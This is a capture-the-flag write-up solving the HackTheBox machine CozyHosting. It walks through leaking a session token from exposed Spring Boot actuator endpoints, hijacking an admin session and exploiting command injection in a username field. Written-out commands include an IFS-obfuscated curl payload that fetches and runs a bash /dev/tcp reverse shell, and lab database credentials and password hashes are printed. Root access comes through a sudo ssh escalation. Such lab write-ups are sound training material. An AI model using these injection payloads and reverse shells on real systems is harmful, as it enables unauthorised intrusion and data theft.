# CozyHosting

## Overview

Hello everyone, In this writeup we are going to solve CozyHosting from HackTheBox.

Link for the machine : <https://app.hackthebox.com/machines/CozyHosting>

Lets Start 🙌

Connect to the HTB server by using the OpenVpn configuration file that’s generated by HTB.

\[ [Click Here](https://help.hackthebox.com/en/articles/5185687-introduction-to-lab-access) to learn more about how to connect to vpn and access the boxes. ]

After connecting to the vpn service, click on Join Machine to access the machine’s ip.

After joining the machine you can see the IP Address of the target machine.

***

## Reconnaissance

First I started by scanning for open ports on the target machine.

### Rustscan

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F2mOHF5qpcBIzZ3JqwnWE%2FUntitled.png?alt=media&#x26;token=c850bb2b-c24b-4976-b759-127ede812075" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FINVQSm6dOzdKtsI0YWtR%2FUntitled%201.png?alt=media&#x26;token=34da6213-832b-4d50-9201-5b310a4699f9" alt=""><figcaption></figcaption></figure>

### Results

From the results of rustscan, we can see that 2 ports are open.

| Ports | Services |
| ----- | -------- |
| 22    | SSH      |
| 80    | HTTP     |

***

## Information Gathering - cozyhosting.htb

First I checked the HTTP service, by trying to visit the website that is hosted on port 80.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FWPdlun6yDh5wcOe3QxLD%2F2023-10-08_12-25.png?alt=media&#x26;token=cc645d6e-82b0-401b-8bc9-dade8d7659dc" alt=""><figcaption></figcaption></figure>

We can see that the website redirects to a domain `cozyhosting.htb`. We have to add this domain referring to the target IP address in our `/etc/hosts` file, to view this website.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FCuBiuOGi2gxcF0gbaf05%2FUntitled%202.png?alt=media&#x26;token=5dbf7a7a-7cbd-49ef-bc75-81bc658b47f4" alt=""><figcaption></figcaption></figure>

Now visit the website.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Ff68kfCAKg9xsmL9N5k0o%2FUntitled%203.png?alt=media&#x26;token=dffddba5-974f-4371-a1e7-7267b3bab051" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fi1npfABqCB8ftbvuthkY%2FUntitled%204.png?alt=media&#x26;token=5d7add0f-4309-461f-a570-aee70470a033" alt=""><figcaption></figcaption></figure>

The website, has a login page. Nothing else interesting. So next I started directory enumeration using `gobuster`.

## Directory Enumeration

### Gobuster

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FiomkhRQfgs4z3LI1IJQO%2FUntitled%205.png?alt=media&#x26;token=97e52a90-36e9-4c18-82ce-c8b11bf62cf8" alt=""><figcaption></figcaption></figure>

### Results

New directories found:

| Directory | Status | Size |
| --------- | ------ | ---- |
| /admin    | 401    | 97   |
| /error    | 500    | 73   |

***

## Initial Access

From the results of the `gobuster`, we have found two routes, `/admin` and `/error`. I first checked the `/admin` route. The `/admin` route redirects to `/login` route, which means we have to first login to view the admin page.

So next I visited the `/error` route.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F0XgREihYf8hb9c9we9ic%2FUntitled%206.png?alt=media&#x26;token=f32cc7da-655b-4a10-8782-a93cf1be0e6e" alt=""><figcaption></figcaption></figure>

The error page displayed the message “Whitelabel Error Page”. I googled about this and found that this is a spring boot error page.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FiEMh4bfWj3rFVyUqUwFU%2FUntitled%207.png?alt=media&#x26;token=3d415ff3-0f26-47c6-9835-d6d2419a52df" alt=""><figcaption></figcaption></figure>

Now we know that the website is built with Spring Boot. So I started looking out for common spring boot vulnerabilities. I found this:

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/spring-actuators>" %}

So I started to take a look at the documentation of spring boot for these actuator endpoints

{% embed url="<https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints>" %}

and checked all the endpoints.

Out of all the endpoints, `/actuator/env`, `/actuator/sessions`, and `/actuator/mappings` endpoints worked.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FLK2sxA9UVTmlioS5ajHZ%2FUntitled%208.png?alt=media&#x26;token=bcd31959-a018-4247-a114-639f290f4965" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FIKsK25RoUqo1YKlsqHTg%2FUntitled%209.png?alt=media&#x26;token=3fd41697-cfdd-4cba-9394-bf3268b048d4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FFPyiyWj83TNy6ur4lfvA%2FUntitled%2010.png?alt=media&#x26;token=acd4142f-df1a-4145-ac8f-fc683108edba" alt=""><figcaption></figcaption></figure>

From the `/actuator/sessions` endpoint, found the following session tokens.

```bash
"DCA90484E0BC1EC72DE193954E4BC7A1":"kanderson"
```

I tried to login with these session tokens. I used the cookie editor to replace the current session ID with the token we found.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FfqmhYdpgxaiQX7hRFkTC%2FUntitled%2011.png?alt=media&#x26;token=260b61e0-f29a-4ddb-b75d-ade4a56f3a7d" alt=""><figcaption></figcaption></figure>

Now refresh the page.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FwgTuE3M2wPF16AA0yc20%2FUntitled%2012.png?alt=media&#x26;token=18bf4555-29b5-479d-8f41-33c61cad37fc" alt=""><figcaption></figcaption></figure>

And we have successfully got access to the admin page.

In the admin page, you can see a form, which on submit will try to establish a connection via ssh using the given hostname and username.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F3AOfzZ7AOqMLF48XikPa%2FUntitled%2013.png?alt=media&#x26;token=2e7d86a0-0c66-4c21-b314-2fe0c5590764" alt=""><figcaption></figcaption></figure>

First I tried some random host name and captured the request with burpsuite and sent that to the repeater tab. While I was testing with random credentials, when supplying an empty username, resulted in the following error.

<div data-full-width="false"><figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FFERjkZnQjftJpiyiAxUD%2FUntitled%2014.png?alt=media&#x26;token=eeb2152b-66ff-4a65-9372-37498958a48f" alt=""><figcaption></figcaption></figure></div>

From this error we can devise that this API is vulnerable to command injection. So I tried some basic command to test it.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FKNRDaWIsUYOKu1h8amkD%2FUntitled%2015.png?alt=media&#x26;token=9e742428-74c8-498a-a160-6acb152ceee3" alt=""><figcaption></figcaption></figure>

From the response, we can see the response of the id command and now its proved that the application is vulnerable to command injection. Now its time to use this vulnerability to gain access to the machine.

We know that, we can execute commands on the target machine with this vulnerability, so we can download a reverse shell on the target machine by sending command. For that first we need a reverse shell on our local machine. Create a file named `revshell.sh` and paste following code in that file. Don’t forget to replace the IP address.

```bash
#! /bin/bash

bash -i >& /dev/tcp/<Your_HTB_tunnel_IP>/9001 0>&1
```

Now start a simple HTTP server with python using the command `python3 -m http.server`.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FVfseE7HI90lpsFDK6N1b%2FUntitled%2016.png?alt=media&#x26;token=d8f8c76d-ec2c-4042-844c-9c63946d7557" alt=""><figcaption></figcaption></figure>

Now its time to download this reverse shell on the target machine. You can use this below command to download the reverse shell on the target machine by supplying this as the value to the username field.

```bash
$(IFS=_;command='curl_http://<Your_HTB_Tunnel_IP>:8000/revshell.sh_--output_/tmp/revshell.sh';$command;)
```

{% hint style="info" %}
I have used a variable IFS in the above command. To know about it, check this out:&#x20;

<https://www.youtube.com/watch?v=so8IRuhWjEM>
{% endhint %}

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FvzvFamn6IRz5aETN25ds%2FUntitled%2017.png?alt=media&#x26;token=8cb9e776-f61f-430a-b58a-7138cd2dfe88" alt=""><figcaption></figcaption></figure>

From the response we can see that there is no error thrown. We can verify that the reverse shell is downloaded on the target machine by checking the terminal where we hosted the simple HTTP server using python. You will be able to see a GET request to `/revshell.sh`, which shows that the file is downloaded successfully.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F4CLi3ZLbRTeW3iTSXnpX%2FUntitled%2018.png?alt=media&#x26;token=cef76871-5f6c-412c-a221-6415d34bceb8" alt=""><figcaption></figcaption></figure>

Next we have to provide executable permission to the reverse shell file to execute it. You can do this by supplying the following command.

```bash
$(IFS=_;command='chmod_777_/tmp/revshell.sh';$command;)
```

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FsKwwcDU3K0hS3DZ8SWmP%2FUntitled%2019.png?alt=media&#x26;token=f183a51d-2da6-4d0b-837c-616edd11085b" alt=""><figcaption></figcaption></figure>

No error from the response and thus we have successfully updated the file permissions. Now its time to execute the reverse shell. But before that we have to start a `netcat` listener on our local machine on port `9001`.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FDk8FJUNH3GVjwwmAidSK%2FUntitled%2020.png?alt=media&#x26;token=0c462a01-14cf-4872-9df2-7afa89c5853e" alt=""><figcaption></figcaption></figure>

Finally, its time to execute the reverse shell, supply the following command to do so.

```bash
$(IFS=_;command='/tmp/revshell.sh';$command;)
```

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FcbgB5d57MXiQNpaTtJDo%2FUntitled%2021.png?alt=media&#x26;token=056b778d-d166-4e83-ab2d-959a110f6836" alt=""><figcaption></figcaption></figure>

No error and no response, check the `netcat` listener. We have successfully got the reverse shell back.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FpKsGUuYEEI3RC2J2oOFh%2FUntitled%2022.png?alt=media&#x26;token=8fbc9e7d-ba7b-4912-97b2-cd3319be40b0" alt=""><figcaption></figcaption></figure>

***

## Getting the User Flag

When I listed the contents of the directory on the target machine, found a jar file.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fjk59b6GiFurBxWDtBsfH%2FUntitled%2023.png?alt=media&#x26;token=89257242-9dbd-4f89-8d99-933952b6d409" alt=""><figcaption></figcaption></figure>

I downloaded the file to the local machine by starting a http server using python on the target machine.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FF00aY30SGJmKWeIpi0Tv%2FUntitled%2024.png?alt=media&#x26;token=90b04e35-96ca-4616-a302-eab6bf99a036" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FMZ0BCRYYUaObnyqq8GQm%2FUntitled%2025.png?alt=media&#x26;token=9fae7d07-8322-4904-8073-3a1dee5d9025" alt=""><figcaption></figcaption></figure>

After downloading, I used the `jadx-gui` tool to decompile and view the contents of the jar file.

{% embed url="<https://github.com/skylot/jadx>" %}

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FzQuO6lIRBO32gm1Kr2z2%2FUntitled%2026.png?alt=media&#x26;token=1373d41e-5bfe-4bcc-ab48-0d4ef26ab76d" alt=""><figcaption></figcaption></figure>

While surfing the contents of the jar file, found the credentials for postgres database from the `application.properties` file.

Let’s try to see the contents of the database from the target machine using the found credentials.

Before doing that let’s upgrade our shell that we got back from our reverse shell to a more stable shell using the command: `python3 -c 'import pty; pty.spawn("/bin/bash")'`

After upgrading our shell run the following command to connect to postgres database. Check here to know more about postsgresql commands:&#x20;

{% embed url="<https://www.commandprompt.com/education/postgresql-basic-psql-commands/?source=post_page-----3db77d07bc06-------------------------------->" %}

```bash
# SYNTAX
psql "postgresql://$DB_USER:$DB_PWD@$DB_SERVER/$DB_NAME"
# Command
psql "postgresql://postgres:Vg&nvzAQ7XxR@localhost/cozyhosting"
```

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FunCpL06leNf3I3JeNFU6%2FUntitled%2027.png?alt=media&#x26;token=70675eed-084a-4891-ab8a-8e39ab42935a" alt=""><figcaption></figcaption></figure>

After surfing the database for sometime, found these password hashes

| Username  | Hash                                                         | Role  |
| --------- | ------------------------------------------------------------ | ----- |
| kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User  |
| admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin |

First let’s try to crack the admin password. First create a file named `hash.txt` and store the admin hash to the `hash.txt` file. Next use the `hashid` tool to identify the hash type.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FU0kc7G4IbpIhNRzYurYy%2FUntitled%2028.png?alt=media&#x26;token=074a0a05-1390-4b29-88b8-3183f7a1bb29" alt=""><figcaption></figcaption></figure>

Now we have found the hash type and `hashcat` mode. It’s time to crack the password.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F9oTEQEA8tJuxqJzi6Kjv%2FUntitled%2029.png?alt=media&#x26;token=ca0c70bb-53d1-40d4-a5f0-388feddb0000" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FarCG8NXqY5IxIYTuTLkI%2FUntitled%2030.png?alt=media&#x26;token=2cbff9d1-d042-40bc-bd3e-b1823c70ef14" alt=""><figcaption></figcaption></figure>

I wasn’t able crack the hash of the user `kanderson`. So I decided to move on.

I checked the `/etc/passwd` file for other users on the target machine using the `netcat` session that we got back from our reverse shell.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FwhJiJJtmPYFRmm1wr3OH%2FUntitled%2031.png?alt=media&#x26;token=2e594cc2-f340-4c05-ba51-3decb6e48c86" alt=""><figcaption></figcaption></figure>

Found another user named `josh`. I tried to switch user as `josh` using the credential that we found. I was able to switch user and as well as I found the user flag.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fiop56oGAxUFYIGbH9o53%2FUntitled%2032.png?alt=media&#x26;token=08809066-d601-4f81-b572-bb3d7867e069" alt=""><figcaption></figcaption></figure>

***

## Getting the Root Flag

Now it’s time to escalate our privileges. Since we know the password for `josh`, I exited the session that we got from reverse shell and logged in via SSH.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2Fw74pli7F37GhAtuysS9H%2FUntitled%2033.png?alt=media&#x26;token=8d05539e-4d5f-4f48-8c6b-010fc68aa671" alt=""><figcaption></figcaption></figure>

I was looking out for some common privilege escalation vectors. I checked for `sudo -l`.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FAbfdhfRiyD1ASX0zCHOb%2FUntitled%2034.png?alt=media&#x26;token=02805256-619d-43dd-938e-7f7ed79246d0" alt=""><figcaption></figcaption></figure>

From the output of the `sudo -l` command, we can see that the user `josh` can run the command `ssh` as `sudo`. I checked gtfobins for this and found this:&#x20;

{% embed url="<https://gtfobins.github.io/gtfobins/ssh/#sudo>" %}

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2FavYexBbaf88SfqXXXKHy%2FUntitled%2035.png?alt=media&#x26;token=92c96222-2b5f-440b-82ce-b3e4cd9705af" alt=""><figcaption></figcaption></figure>

Using the above command, I got escalated my privileges as root and found the root flag successfully.

<figure><img src="https://3766366075-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FmgBRtrRN7KBbA6FISaV1%2Fuploads%2F92dxyk1LCWteusjMBmM8%2FUntitled%2036.png?alt=media&#x26;token=0ded1fa4-3ae4-4321-8173-9b22500e4c4b" alt=""><figcaption></figcaption></figure>
